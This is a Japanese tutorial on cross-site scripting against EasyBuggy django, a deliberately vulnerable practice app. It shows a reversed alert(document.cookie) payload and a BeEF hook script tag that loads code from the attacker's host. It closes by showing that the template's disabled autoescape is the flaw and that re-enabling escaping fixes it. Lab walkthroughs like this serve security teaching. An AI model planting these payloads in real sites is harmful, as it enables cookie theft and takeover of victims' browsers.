EasyBuggy djangoでXSS (by BeEF)


この記事を読むと何がわかる?

・XSS(クロスサイトスプリクティング)の概要
・XSSツールであるBeEFの使い方
・XSSに対して脆弱性のあるdjangoのコードと対策法(まだ)

はじめに

EasyBuggy djangoを使って,XSS(クロスサイトスプリクティング)という手法でつついてみましょう.XSSにはBeEFという便利なツールもあるのでそれも使います.
環境構築はこちらの記事です.

XSSとは

javascriptを悪用していろいろするものらしいです.詳しい説明はわからないので置いといて,実際の動作を見ていきましょう.

EasyBuggy djangoでのXSS

EasyBuggyでのXSSのページは次のような画面です.

入力欄が用意してあって,文字列を入力すると逆並びにして表示してくれるサービスです.

表示されているように">tpircs/<;)eikooc.tnemucod(trela>tpIrcs<"と入力してみます.

なにか出て来ちゃいけないものが出てきてしまった感じがします.何が起こったのでしょうか.

本来なら逆並びの文字列が表示されるべきところのHTMLを確認してみると,つぎのような記述が見つかります.

<scrIpt>alert(document.cookie);</script> 

これは>tpircs/<;)eikooc.tnemucod(trela>tpIrcs<の逆さ並びなので,こうなることは理解できます.そして,このコードがjavascriptです.今回のコードでは,cookieの情報をポップアップで表示するという動作をします.

つまり,javascriptと解釈できるような文字列を入力することにより,想定していないような動作を起こすことがXSSです.

Let's exploit!

上の例だと自分のcookieを表示しただけで何がおかしいのかと思うかもしれません.しかし,重要なことは,javascriptをブラウザ上で操作できるということです.つまり,javascriptでできることならできるということです.いろいろできそう.

javascriptのコードを書くことにより様々なことができるはずですが,僕はjavascript書けないので,楽をするためにBeEFをつかいます.

BeEF

BeEFはkaliに標準で入っています.アイコンクリックで起動すると,ブラウザでログイン画面が開きます.id,passともにbeefです.ログイン後は次のような画面になります.

BeEFを使うためには,標的のPCをhookする必要があります.標的に次のコードを実行させればhookできます.

<script src="http://<IP>:3000/hook.js"></script>

には(BeEFを起動している)攻撃側のIPアドレスを入力してください.

実行例

ubuntu側でhookされるためのコードを実行し,BeEFからubuntu側のブラウザにメッセージを表示したいと思います.

うまくいきました!他にもブラウザのアップデートを装ってバックドアを実行させる方法などもあり,いろいろできます.

XSSの対策

XSSの対策として,特別な意味を持つ文字をそのまま処理せずに,置き換えて処理する方法(エスケープ)があります.特別な文字としては,<>&'"などが挙げられます.
phpの例ですが,こちらの記事が参考になります.

EasyBuggyソースの確認

EasyBuggyでの該当コードを確認してみましょう.

xss.html
{% extends "base.html" %}
{% load i18n %}
{% block body %}
{% include "header.html" %}
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    {% csrf_token %}
    <p>{% trans 'description.reverse.string' %}</p><br/>
    <label>{% trans 'label.string' %}</label><span>: </span>
    <input type="text" name="string" size="100" maxlength="100"/><br/>
    <br/> <input type="submit" value="{% trans 'label.submit' %}"/><br/><br/>
    {% autoescape off %}
    <p>{{ msg }}</p><br/>
    {% endautoescape %}
    <div class="alert alert-info" role="alert">
        <span class="glyphicon glyphicon-info-sign"></span>
        {% trans 'msg.note.xss' %}
    </div>
</form>
{% endblock %}

重要な部分は,

{% autoescape off %}
<p>{{ msg }}</p><br/>
{% endautoescape %}

の部分です.実はdjangoはデフォルトでは自動的にエスケープするようになっています.上ではこの機能をoffにしています.次のように書き換えてみます.

xss.html
{% extends "base.html" %}
{% load i18n %}
{% block body %}
{% include "header.html" %}
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    {% csrf_token %}
    <p>{% trans 'description.reverse.string' %}</p><br/>
    <label>{% trans 'label.string' %}</label><span>: </span>
    <input type="text" name="string" size="100" maxlength="100"/><br/>
    <br/> <input type="submit" value="{% trans 'label.submit' %}"/><br/><br/>
    escaped
    <p>{{ msg }}</p><br/>
    not escaped
    {% autoescape off %}
    <p>{{ msg }}</p><br/>
    {% endautoescape %}
    <div class="alert alert-info" role="alert">
        <span class="glyphicon glyphicon-info-sign"></span>
        {% trans 'msg.note.xss' %}
    </div>
</form>
{% endblock %}

ブラウザで確認してみましょう.

自動エスケープを無効化してない方はエスケープがうまく行っていることがわかります.

まとめ

XSSの悪用方法とdjangoでの対策をまとめました.